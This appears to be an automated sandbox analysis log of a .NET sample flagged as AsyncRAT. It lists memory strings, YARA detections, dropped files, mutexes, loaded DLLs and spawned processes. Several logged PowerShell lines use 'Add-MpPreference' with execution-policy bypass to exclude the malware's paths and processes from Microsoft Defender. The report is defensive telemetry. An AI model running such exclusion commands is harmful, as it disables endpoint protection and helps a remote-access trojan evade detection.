                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.2001211652.0000000006299000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenamexlone1.exe< vs SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.1991317996.000000000337B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameXClient.exe4 vs SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.1991317996.000000000337B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameprotobuf-net.dllJ vs SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.2003746490.00000000066E0000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.1991317996.0000000003120000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilename vs SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.1991317996.0000000003247000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.1992545692.0000000004DF7000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000000.1622402046.0000000000D62000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFilenamexlone1.exe< vs SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.2003229740.0000000006620000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenameprotobuf-net.dllJ vs SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.1992545692.0000000004E6F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000000.00000002.1992545692.0000000004E6F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamexlone1.exe< vs SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000004.00000002.2900642609.0000000005FD9000.00000004.00000010.00020000.00000000.sdmpBinary or memory string: OriginalFilenameUNKNOWN_FILET vs SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe, 00000004.00000002.2898724949.0000000003EC1000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenamexlone1.exe< vs SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeBinary or memory string: OriginalFilenamexlone1.exe< vs SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeStatic PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
                    Source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.3390260.2.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
                    Source: 10.2.daqfbrlrs.exe.31693a8.2.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
                    Source: 13.2.daqfbrlrs.exe.36db45c.1.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
                    Source: 13.2.daqfbrlrs.exe.36db45c.1.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
                    Source: 16.2.daqfbrlrs.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
                    Source: 10.2.daqfbrlrs.exe.31693a8.2.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
                    Source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.3390260.2.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
                    Source: 0000000A.00000002.2466687008.0000000003155000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
                    Source: 00000000.00000002.1991317996.000000000337B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
                    Source: 0000000D.00000002.2554540962.0000000003656000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
                    Source: 00000010.00000002.2496866109.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
                    Source: 0000000D.00000002.2554540962.00000000036D9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
                    Source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.66e0000.13.raw.unpack, ITaskFolder.csTask registration methods: 'RegisterTaskDefinition', 'RegisterTask'
                    Source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.66e0000.13.raw.unpack, TaskFolder.csTask registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'
                    Source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.66e0000.13.raw.unpack, Task.csTask registration methods: 'RegisterChanges', 'CreateTask'
                    Source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.66e0000.13.raw.unpack, TaskService.csTask registration methods: 'CreateFromToken'
                    Source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.4e6f6d8.3.raw.unpack, ITaskFolder.csTask registration methods: 'RegisterTaskDefinition', 'RegisterTask'
                    Source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.4e6f6d8.3.raw.unpack, TaskFolder.csTask registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'
                    Source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.66e0000.13.raw.unpack, Task.csSecurity API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
                    Source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.4e6f6d8.3.raw.unpack, TaskFolder.csSecurity API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
                    Source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.4e6f6d8.3.raw.unpack, Task.csSecurity API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
                    Source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.4e1f6b8.6.raw.unpack, TaskFolder.csSecurity API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
                    Source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.4e6f6d8.3.raw.unpack, TaskPrincipal.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
                    Source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.66e0000.13.raw.unpack, User.csSecurity API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
                    Source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.4e1f6b8.6.raw.unpack, User.csSecurity API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
                    Source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.4e1f6b8.6.raw.unpack, TaskPrincipal.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
                    Source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.66e0000.13.raw.unpack, TaskPrincipal.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
                    Source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.4e1f6b8.6.raw.unpack, TaskSecurity.csSecurity API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
                    Source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.4e1f6b8.6.raw.unpack, TaskSecurity.csSecurity API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
                    Source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.66e0000.13.raw.unpack, TaskSecurity.csSecurity API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
                    Source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.66e0000.13.raw.unpack, TaskSecurity.csSecurity API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
                    Source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.4e6f6d8.3.raw.unpack, TaskSecurity.csSecurity API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
                    Source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.4e6f6d8.3.raw.unpack, TaskSecurity.csSecurity API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
                    Source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.4e6f6d8.3.raw.unpack, User.csSecurity API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
                    Source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.66e0000.13.raw.unpack, TaskFolder.csSecurity API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)
                    Source: 0.2.SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe.4e1f6b8.6.raw.unpack, Task.csSecurity API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
                    Source: classification engineClassification label: mal100.troj.evad.winEXE@21/24@0/2
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeFile created: C:\Users\user\AppData\Roaming\daqfbrlrs.exeJump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeMutant created: NULL
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeMutant created: \Sessions\1\BaseNamedObjects\By9qKt9A8waTk2LI
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:420:120:WilError_03
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4136:120:WilError_03
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5184:120:WilError_03
                    Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2724:120:WilError_03
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeFile created: C:\Users\user\AppData\Local\Temp\Log.tmpJump to behavior
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeStatic file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeReversingLabs: Detection: 55%
                    Source: SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeVirustotal: Detection: 69%
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeFile read: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeJump to behavior
                    Source: unknownProcess created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe"
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe"
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe'
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe'
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: unknownProcess created: C:\Users\user\AppData\Roaming\daqfbrlrs.exe "C:\Users\user\AppData\Roaming\daqfbrlrs.exe"
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\XClient.exe'
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: unknownProcess created: C:\Users\user\AppData\Roaming\daqfbrlrs.exe "C:\Users\user\AppData\Roaming\daqfbrlrs.exe"
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess created: C:\Users\user\AppData\Roaming\daqfbrlrs.exe "C:\Users\user\AppData\Roaming\daqfbrlrs.exe"
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess created: C:\Users\user\AppData\Roaming\daqfbrlrs.exe "C:\Users\user\AppData\Roaming\daqfbrlrs.exe"
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe"Jump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe'Jump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exe'Jump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\XClient.exe'Jump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'Jump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess created: C:\Users\user\AppData\Roaming\daqfbrlrs.exe "C:\Users\user\AppData\Roaming\daqfbrlrs.exe"Jump to behavior
                    Source: C:\Users\user\AppData\Roaming\daqfbrlrs.exeProcess created: C:\Users\user\AppData\Roaming\daqfbrlrs.exe "C:\Users\user\AppData\Roaming\daqfbrlrs.exe"
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: mscoree.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: apphelp.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: kernel.appcore.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: version.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: windows.storage.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: wldp.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: profapi.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: cryptsp.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: rsaenh.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: cryptbase.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: rasapi32.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: rasman.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: rtutils.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: mswsock.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: winhttp.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: iphlpapi.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: dhcpcsvc6.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: dhcpcsvc.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: dnsapi.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: amsi.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: userenv.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: msasn1.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: gpapi.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: ntmarta.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: mscoree.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: kernel.appcore.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: version.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: uxtheme.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: sspicli.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: cryptsp.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: rsaenh.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: cryptbase.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: windows.storage.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: wldp.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: propsys.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: profapi.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: edputil.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: urlmon.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: iertutil.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: srvcli.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: netutils.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: wintypes.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: appresolver.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: bcp47langs.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: slc.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: userenv.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: sppc.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: sxs.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: mpr.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: scrrun.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: linkinfo.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: ntshrui.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: cscapi.dllJump to behavior
                    Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.RansomX-gen.10689.14408.exeSection loaded: mswsock.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
                    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
